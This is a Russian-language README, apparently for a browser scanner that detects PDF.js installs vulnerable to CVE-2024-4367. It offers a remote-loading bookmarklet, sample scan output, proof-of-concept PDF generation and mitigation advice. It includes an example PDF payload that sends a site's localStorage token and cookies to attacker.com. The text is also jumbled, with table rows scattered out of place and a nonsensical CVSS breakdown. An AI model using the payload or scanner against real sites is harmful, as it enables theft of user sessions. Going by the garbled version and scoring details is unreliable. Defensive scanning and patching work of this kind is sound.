
SCAN END POC THE CVE-2024-4367
⚠️ КРИТИЧЕСКИЙ ИНСТРУМЕНТ БЕЗОПАСНОСТИ | Обнаруживает CVE-2024-4367 (CVSS 9.8) - Удаленное выполнение кода в PDF.js
Работает на ЛЮБОМ сайте - Нулевая настройка
CVE-2024-4367 — это критическая уязвимость в PDF.js (версии < 4.2.67), которая позволяет выполнять произвольный JavaScript через вредоносные PDF-файлы. Этот сканер автоматически обнаруживает уязвимые экземпляры PDF.js на ЛЮБОМ сайте.
PDF.js содержит ошибку, из-за которой JavaScript, встроенный в PDF-файлы, выполняется без надлежащей изоляции, что позволяет злоумышленникам:
F12, чтобы открыть Инструменты разработчикаEnterСоздайте закладку с этим URL:
javascript:(function(){const s=document.createElement('script');s.src='https://cdn.jsdelivr.net/gh/yourusername/CVE-2024-4367-Scanner/scanner.js';document.body.appendChild(s);})();
git clone https://github.com/yourusername/CVE-2024-4367-Scanner
cd CVE-2024-4367-Scanner
# Откройте любой сайт и запустите скрипт
<embed><object>?pdf=, ?file=, ?src=).pdf┌─────────────────────────────────────────────────────────────┐
│ ПОТОК ПРОЦЕССА СКАНИРОВАНИЯ │
├─────────────────────────────────────────────────────────────┤
│ │
│ 1. 📚 ЗАГРУЗКА СКРИПТОВ │
│ ├─ Внешние скрипты (все <script src="">) │
│ └─ Встроенные скрипты (все теги <script>) │
│ │
│ 2. 🔍 ИЗВЛЕЧЕНИЕ ВЕРСИИ PDF.JS │
│ ├─ Сопоставление с шаблонами в коде │
│ ├─ Обнаружение package.json │
│ └─ Анализ путей node_modules │
│ │
│ 3. 🎯 ОПРЕДЕЛЕНИЕ УЯЗВИМОСТИ │
│ ├─ версия < 4.2.67 ? → УЯЗВИМ │
│ └─ версия = 2.16.105 ? → УЯЗВИМ │
│ │
│ 4. 🖼️ ПОИСК ПРОСМОТРЩИКОВ │
│ ├─ Сканирование DOM-элементов │
│ └─ Обнаружение атрибутов │
│ │
│ 5. ⚡ ГЕНЕРАЦИЯ POC │
│ ├─ Создание тестового PDF │
│ └─ Предоставление ссылки для скачивания │
│ │
│ 6. 📊 ОТОБРАЖЕНИЕ РЕЗУЛЬТАТОВ │
│ ├─ Визуальное наложение │
│ ├─ Отчет в консоли │
│ └─ Хранение в глобальной переменной │
│ │
└─────────────────────────────────────────────────────────────┘
╔═══════════════════════════════════════════════════════════════════════════════════╗
║ CVE-2024-4367 - УНИВЕРСАЛЬНЫЙ СКАНЕР PDF.js ║
║ Обнаруживает уязвимые версии PDF.js и потенциальную эксплуатацию ║
╚═══════════════════════════════════════════════════════════════════════════════════╝
📚 ФАЗА 1: Сканирование JavaScript-бандлов на PDF.js
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[+] Найдено 42 внешних скрипта
[+] Найдено 12 встроенных скриптов
[1/42] Анализ: vendor.bundle.js
→ Обнаружен индикатор PDF.js: pdfjs-dist
✅ Найдена версия PDF.js: 2.16.105
🚨 УЯЗВИМ к CVE-2024-4367!
🎯 ФАЗА 4: Определение векторов эксплуатации
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
⚠️ Параметр URL принимает PDF: file=/documents/report.pdf
⚠️ Найдена форма загрузки PDF
█████████████████████████████████████████████████████████████████████████████████
ИТОГОВЫЙ ОТЧЕТ СКАНИРОВАНИЯ
█████████████████████████████████████████████████████████████████████████████████
🚨 КРИТИЧЕСКАЯ УЯЗВИМОСТЬ ПОДТВЕРЖДЕНА!
CVE: CVE-2024-4367
CVSS: 9.8 (КРИТИЧЕСКИЙ)
Воздействие: Произвольное выполнение JavaScript
┌─────────────────────────────────────────────────────────────┐
│ РЕЗУЛЬТАТЫ СКАНИРОВАНИЯ CVE-2024-4367 │
│ ━━━━━━━━━━━━━━━━━━━━━━━ │
│ 📍 Цель: example.com │
│ 📦 PDF.js: 2.16.105 │
│ 🎯 Уязвим: ДА │
│ 📄 Просмотрщиков: 3 │
│ ⚡ Векторов: 2 │
│ ━━━━━━━━━━━━━━━━━━━━━━━ │
│ 🔴 КРИТИЧЕСКИЙ - Требуется обновление │
└─────────────────────────────────────────────────────────────┘
# Для проектов Node.js
npm install pdfjs-dist@latest
# Для использования CDN
# Обновите до версии 4.2.67 или выше
// Установите это перед загрузкой PDF.js
pdfjsLib.GlobalWorkerOptions.disableJavaScript = true;
Content-Security-Policy: script-src 'self';
object-src 'none';
worker-src 'none'
// Проверка PDF-файлов перед рендерингом
function validatePDF(file) {
// Проверка магических байтов
const header = file.slice(0, 5);
if (header !== '%PDF-') {
throw new Error('Некорректный PDF-файл');
}
// Сканирование на наличие JavaScript
const text = file.toString();
if (text.includes('/JavaScript') ||
text.includes('/JS') ||
text.includes('<< /S /JavaScript >>')) {
throw new Error('PDF содержит JavaScript');
}
}
Параметры URL
/viewer?file=malicious.pdf
/download?pdf=malicious.pdf
Загрузка файлов
<input type="file" accept=".pdf">
Встроенные просмотрщики
<embed src="malicious.pdf">
Конечные точки API
/api/documents/123/download
/api/report/pdf
// Встроенный JavaScript в PDF
this.alert('CVE-2024-4367 Exploited!');
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({
token: localStorage.getItem('token'),
cookies: document.cookie
})
});
Установите сканер
git clone https://github.com/yourusername/CVE-2024-4367-Scanner
Запустите сканер
# Откройте целевой веб-сайт
# Вставьте сканер в консоль
# Или используйте букмарклет
Проанализируйте результаты
Скачайте POC PDF (если уязвим)
Примените исправления
| Сценарий | Результат |
|---|---|
| PDF.js 2.16.105 | 🔴 КРИТИЧЕСКИЙ |
| PDF.js 3.x | 🔴 УЯЗВИМ |
| PDF.js 4.0.x | 🔴 УЯЗВИМ |
| PDF.js 4.2.67+ |
// Уязвимые версии
const VULNERABLE_VERSIONS = [
{ version: '2.16.105', status: 'CRITICAL' },
{ version: '3.x.x', status: 'CRITICAL' },
{ version: '4.0.x - 4.2.66', status: 'CRITICAL' }
];
// Безопасная версия
const SAFE_VERSION = '4.2.67';
| Дата | Событие |
|---|---|
| 2024-04-23 | Уязвимость обнаружена |
| 2024-04-24 | Присвоен CVE-2024-4367 |
| 2024-04-25 | Выпущен патч (4.2.67) |
ВАЖНО: Этот инструмент предназначен только для авторизованного тестирования безопасности и образовательных целей.
- ✅ МОЖНО использовать на своих собственных веб-сайтах
- ✅ МОЖНО использовать с явного разрешения
- ✅ МОЖНО использовать в исследовательских целях безопасности
- ❌ НЕЛЬЗЯ использовать на несанкционированных системах
- ❌ НЕЛЬЗЯ использовать в злонамеренных целях
Авторы не несут ответственности за любое неправомерное использование или ущерб, причиненный этим инструментом.
Вклад приветствуется! Пожалуйста:
git clone https://github.com/yourusername/CVE-2024-4367-Scanner
cd CVE-2024-4367-Scanner
# Внесите свои изменения
# Протестируйте на нескольких сайтах
# Отправьте PR
Этот проект лицензирован под лицензией MIT - подробности см. в файле LICENSE.
Если вы нашли этот инструмент полезным:
🛡️ Оставайтесь в безопасности. Тестируйте рано. Тестируйте часто.
Сделано с ❤️ сообществом безопасности
Сообщить о проблеме • Поставить звезду на GitHub • Читать документацию
| Решение | Сложность | Эффективность |
|---|
| Обновление PDF.js | Легкая | ✅ Полное исправление |
| Отключение JS в PDF.js | Легкая | ✅ Полное исправление |
| Внедрение CSP | Средняя | ✅ Хорошая |
| Валидация на сервере | Средняя | ✅ Хорошая |
| Изолированный рендеринг | Сложная | ✅ Отличная |
| ✅ БЕЗОПАСНО |
| PDF.js отсутствует | ℹ️ БЕЗОПАСНО |
| 2024-04-26 | Публичное раскрытие |
| 2024-05-01 | Наблюдались попытки эксплуатации |
| Компонент | Оценка |
|---|
| Вектор атаки | Сетевой (9.8) |
| Сложность атаки | Низкая (9.8) |
| Требуемые привилегии | Отсутствуют (9.8) |
| Взаимодействие с пользователем | Требуется (8.8) |
| Область действия | Изменена (9.1) |
| Конфиденциальность | Высокая (9.8) |
| Целостность | Высокая (9.8) |
| Доступность | Высокая (9.8) |
| Итого | 9.8 (КРИТИЧЕСКИЙ) |